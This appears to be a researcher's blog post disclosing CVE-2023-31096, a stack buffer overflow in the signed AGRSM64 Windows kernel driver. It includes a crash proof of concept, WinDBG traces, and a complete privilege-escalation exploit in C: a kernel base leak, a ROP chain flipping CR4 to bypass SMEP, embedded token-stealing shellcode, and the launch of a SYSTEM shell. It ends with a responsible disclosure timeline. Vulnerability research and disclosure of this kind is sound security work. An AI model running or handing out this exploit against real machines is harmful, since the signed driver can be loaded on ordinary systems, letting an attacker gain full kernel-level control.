Specifically we will exploit a Local Privilege Escalation to SYSTEM through Stack Overflow via RTLCopyMemory (IOCTL 0x1b2150) aka CVE-2023-31096.

As we can see from the below output of signtool the driver is signed by Microsoft and thus trusted to be loaded by any version of Windows:

Once we found our attacker-controlled user inputs, we can then start reversing those functions. In the next screenshot you can see the IOCTL handler at 0x1b2150 takes param_2 and copies it’s value to a destination buffer. If there is no bounds checking we have ourselves a vanilla stack-based buffer overflow.

We can start with a simple PoC to overflow return addresses with junk, remember as we are in kernel mode this will result in BSOD.

// AGRSM64 Kernel Driver LPE
// WIN11 x64 Stack Overflow Simple PoC
// Author: Christoph Schwarz cschwarz1@proton.me

#include <stdio.h>
#include <windows.h>
#include <psapi.h>

#define IOCTL_CODE 0x1b2150

void exploit() {
    // Defining buffer and buffer size to send to the driver
    char buf[250];
    // Fill buffer with junk
    memset(buf, 0x41, 250);

    // Obtaining handle to the driver
    printf("[+] Obtaining handle to the driver via CreateFileA()...\n");
    char* driver = const_cast <char*>("\\\\.\\GlobalRoot\\device\\AGRSM_xface");

    HANDLE drvHandle = CreateFileA(
        driver,
        0xC0000000,
        0x0,
        NULL,
        0x3,
        0x0,
        NULL
    );

    printf("[+] Handle to the driver %s: %d\n", driver, drvHandle);
    DWORD lpBytesReturned;

    printf("[+] Interacting with the driver...\n");

    // Send payload to the driver

    printf("[+] Wait 2 seconds for BSOD ...\n");
    Sleep(2000);

    BOOL status = DeviceIoControl(
        drvHandle,
        IOCTL_CODE,
        buf,
        sizeof(buf),
        NULL,
        0,
        &lpBytesReturned,
        NULL
        );
}

int main(int argc, char* argv[]) {

    exploit();

    printf("[+] we never get here. \n");
    return 0;
}

In WinDBG we can get our target drivers base address:

2: kd> .reload
Connected to Windows 10 22621 x64 target at (Mon Oct  9 17:22:33.761 2023 (UTC + 2:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
..............................................
Loading User Symbols

Loading unloaded module list
...........
2: kd> lm Dvm AGRSM64
Browse full module list
start             end                 module name
fffff803`2b430000 fffff803`2b562000   AGRSM64    (deferred)             
    Image path: \??\C:\Users\chris\Desktop\AGRSM64.sys
    Image name: AGRSM64.sys
    Browse all global symbols  functions  data
    Timestamp:        Thu Dec  3 22:05:51 2009 (4B18282F)
    CheckSum:         001370DF
    ImageSize:        00132000
    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4
    Information from resource tables:

After rebasing the disassembled driver in Ghidra we can set a breakpoint to RTLCopyMemory and inspect the values. Remember x64 Application Binary Interface (ABI) uses a four-register fast-call calling convention, which means our function parameters are stored in RCX, RDX and R8. WinDBG output confirms we can control the source parameter and size for RTLCopyMemory:

2: kd> bp 0xfffff8032b444abc
2: kd> g
Breakpoint 0 hit
AGRSM64+0x14abc:
fffff803`2b444abc ff1596350d00    call    qword ptr [AGRSM64+0xe8058 (fffff803`2b518058)]
4: kd> dq rcx l1
ffff8189`3402f580  00000000`00000150
4: kd> dq rdx
ffff998c`401af640  41414141`41414141 41414141`41414141
ffff998c`401af650  41414141`41414141 41414141`41414141
ffff998c`401af660  41414141`41414141 41414141`41414141
ffff998c`401af670  41414141`41414141 41414141`41414141
ffff998c`401af680  41414141`41414141 41414141`41414141
ffff998c`401af690  41414141`41414141 41414141`41414141
ffff998c`401af6a0  41414141`41414141 41414141`41414141
ffff998c`401af6b0  41414141`41414141 41414141`41414141
4: kd> .formats r8
Evaluate expression:
  Hex:     00000000`000000fa
  Decimal: 250
  Decimal (unsigned) : 250

After we return from RTLCopyMemory we can see we have successfully corrupted some return addresses on the stack:

4: kd> k
 # Child-SP          RetAddr               Call Site
00 ffff8189`3402f658 41414141`41414141     AGRSM64+0x14155
01 ffff8189`3402f660 41414141`41414141     0x41414141`41414141
02 ffff8189`3402f668 41414141`41414141     0x41414141`41414141
03 ffff8189`3402f670 41414141`41414141     0x41414141`41414141
04 ffff8189`3402f678 fffff803`2b554141     0x41414141`41414141
05 ffff8189`3402f680 ffff998c`3f541e10     AGRSM64+0x124141
06 ffff8189`3402f688 ffff998c`3f9d7240     0xffff998c`3f541e10
07 ffff8189`3402f690 00000000`00040286     0xffff998c`3f9d7240
08 ffff8189`3402f698 fffff803`21af83a9     0x40286
09 ffff8189`3402f6a0 fffff803`212b3ee5     nt!_guard_retpoline_exit_indirect_rax+0x9
0a ffff8189`3402f6f0 fffff803`21726350     nt!IofCallDriver+0x55
0b ffff8189`3402f730 fffff803`2172862f     nt!IopSynchronousServiceTail+0x1d0
0c ffff8189`3402f7e0 fffff803`21727616     nt!IopXxxControlFile+0xfff
0d ffff8189`3402f9c0 fffff803`21446ee8     nt!NtDeviceIoControlFile+0x56
0e ffff8189`3402fa30 00007ffa`a114ee34     nt!KiSystemServiceCopyEnd+0x28

Proceeding further we a greeted with a wonderful Blue Screen of Death.

All right we can override kernel memory regions with arbitrary data and length and crash the machine, great.

Next we need an exploit to do some controlled attack. As a simple proof of concept we are going to take the token stealer shellcode and elevate our privileges to SYSTEM. This attack is already well documented and I’ll only briefly discuss how this is done. For more details you should check out Connor McGarr’s excellent blog and related topics.

As you can imagine we need to bypass some Windows specific security protections in the kernel, for simplicity reasons I deactivated Windows Defender and Core Isolation on a otherwise fully patched and functional Windows 11 machine. We will come back to more sophisticated exploits bypassing more protections at a later stage of this blog series.

For Kernel Address Space Layout Randomization (KASLR) we need to find a memory leak or simply call EnumDeviceDrivers(). Lol. Every medium-integrity process (i.e. our exploit) can call this function.

For Supervisor Mode Execution Prevention (SMEP) we will manipulate a single CR4 bit to return to our shellcode in user-mode and switch SMEP back on once we are done. All this is done with a simple ROP chain.

So our plan is as follows:

  1. leak kernel base address via EnumDeviceDrivers()
  2. find gadgets in ntoskrnl.exe and get offsets to those instructions
  3. construct ROP chain
  4. overwrite the return address of our IOCTL handler function with the first ROP gadget in ntoskrnl.exe
  5. manipulate CR4 to be able to jump to user mode, where our shellcode is located
  6. execute token stealer shellcode
  7. ROP to ntoskrnl.exe and restore CR4
  8. enjoy our SYSTEM cmd shell
// AGRSM64 Kernel Driver LPE
// WIN11 x64 Stack Overflow with SMEP Bypass
// Author: Christoph Schwarz cschwarz1@proton.me


#include <stdio.h>
#include <windows.h>
#include <psapi.h>

#define IOCTL_CODE 0x1b2150

DWORD64 getKBaseAddress(void) {
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;

    printf("[+] Calling EnumDeviceDrivers()...\n");

    BOOL baseofDrivers = EnumDeviceDrivers(
        lpImageBase,
        sizeof(lpImageBase),
        &lpcbNeeded
    );
    // ntoskrnl.exe is in array[0]
    DWORD64 krnlBase = (DWORD64)lpImageBase[0];

    printf("[+] Found kernel leak!\n");
    printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase);

    return krnlBase;
}

void exploit()
{
    // shellcode stolen from https://kristal-g.github.io/2021/05/08/SYSRET_Shellcode.html
    char payload[] =
        "\x65\x48\x8b\x04\x25\x88\x01\x00\x00\x48"
        "\x8b\x80\xb8\x00\x00\x00\x49\x89\xc0\x4d"
        "\x8b\x80\x48\x04\x00\x00\x49\x81\xe8\x48"
        "\x04\x00\x00\x4d\x8b\x88\x40\x04\x00\x00"
        "\x49\x83\xf9\x04\x75\xe5\x49\x8b\x88\xb8"
        "\x04\x00\x00\x80\xe1\xf0\x48\x89\x88\xb8"
        "\x04\x00\x00\x65\x48\x8b\x04\x25\x88\x01"
        "\x00\x00\x66\x8b\x88\xe4\x01\x00\x00\x66"
        "\xff\xc1\x66\x89\x88\xe4\x01\x00\x00\x48"
        "\x8b\x90\x90\x00\x00\x00\x48\x8b\x8a\x68"
        "\x01\x00\x00\x4c\x8b\x9a\x78\x01\x00\x00"
        "\x48\x8b\xa2\x80\x01\x00\x00\x48\x8b\xaa"
        "\x58\x01\x00\x00\x31\xc0\x0f\x01\xf8\x48"
        "\x0f\x07";


    // Allocating shellcode in user mode
    LPVOID shellcode = VirtualAlloc(
        NULL,
        sizeof(payload),
        0x3000,
        0x40
    );

    printf("[+] Shellcode allocated at: 0x%llx\n", shellcode);

    // copy shellcode payload to allocated memory in user mode
    memcpy(shellcode, payload, sizeof(payload));

    // Running getKBaseAddress() here to get base of kernel for ROP gadgets
    DWORD64 baseAddress = getKBaseAddress();
    
    // Defining buffer and buffer size to send to the driver
    char buf[280];
    size_t gadgetSize = 0x8;

    // Fill buffer with junk
    memset(buf, 0x41, 280);

    // ROP gadgets
    DWORD64 ROP1 = baseAddress + 0xa8cfb6;  // pop rcx ; ret: 
    DWORD64 ROP2 = 0xb50ef8 ^ 1UL << 20;    // CR4 value: flip 20th bit
    DWORD64 ROP3 = baseAddress + 0x39f047;  // mov cr4, rcx ; ret: 
    DWORD64 ROP4 = baseAddress + 0xa8cfb6;  // pop rcx ; ret: 
    DWORD64 ROP5 = 0xb50ef8;                // CR4 value (0xb506f8)
    DWORD64 ROP6 = baseAddress + 0x39f047;  // mov cr4, rcx ; ret: 
    DWORD64 ROP7 = baseAddress + 0x427f22;  // mov rsp, r11; ret; 
    
    printf("[+] Executing ROP chain to disable SMEP / SMAP. \n");
    printf("[+] POP RCX; ret; \n");

    memcpy(&buf[216], &ROP1, gadgetSize);
    memcpy(&buf[216 + 8], &ROP2, gadgetSize);

    printf("[+] MOV RCX; CR4; ret; \n");
    printf("[+] Bypassed SMEP / SMAP ! \n");
    memcpy(&buf[216 + 16], &ROP3, gadgetSize);

    printf("[+] Executing shellcode in userland !\n");
    memcpy(&buf[216 + 24], &shellcode, 0x8);

    printf("[+] MOV RCX; CR4; ret; \n");

    printf("[+] Executing ROP chain to restore CR4. \n");
    printf("[+] POP RCX; ret; \n");
    memcpy(&buf[216 + 32], &ROP4, gadgetSize);
    memcpy(&buf[216 + 40], &ROP5, gadgetSize);

    printf("[+] MOV RCX; CR4; ret; \n");
    printf("[+] SMEP / SMAP restored ! \n");
    memcpy(&buf[216 + 48], &ROP6, gadgetSize);

    printf("[+] Get handle to the driver \n");
    
    char *driver = const_cast < char*>("\\\\.\\GlobalRoot\\device\\AGRSM_xface");

    HANDLE drvHandle = CreateFileA(
        driver,
        0xC0000000,
        0x0,
        NULL,
        0x3,
        0x0,
        NULL
    );

    printf("[+] Driver handle %s: %d\n", driver, drvHandle);

    // Send exploit to the driver

    DWORD lpBytesReturned;

    printf("[+] Send payload to driver...\n");
    getchar();
    BOOL status = DeviceIoControl(
        drvHandle,
        IOCTL_CODE,
        buf,
        sizeof(buf),
        NULL,
        0,
        &lpBytesReturned,
        NULL
    );
}

int main(int argc, char* argv[])
{
    exploit();
    
    printf("[+] Spawning SYSTEM shell!\n");
    // Spawning an NT AUTHORITY\SYSTEM shell
    system("cmd.exe /c cmd.exe /K cd C:\\");
    
    return 0;
}

Executing the exploit is resulting in a LPE and SYSTEM shell:

Responsible Disclosure timeline:

  • 01/24/23 reported vulnerability to PSIRT@broadcom.com
  • 01/24/23 immediate reply and triage
  • 02/22/23 requesting update on fix
  • 02/25/23 PSIRT replied with request for more time to research the issue
  • 03/30/23 requesting update on fix
  • 04/24/23 requesting CVE from Mitre, requesting update from PSIRT
  • 04/25/23 response that driver is EOL since 2016 and OK for advisory release
  • 10/09/23 advisory release and blog post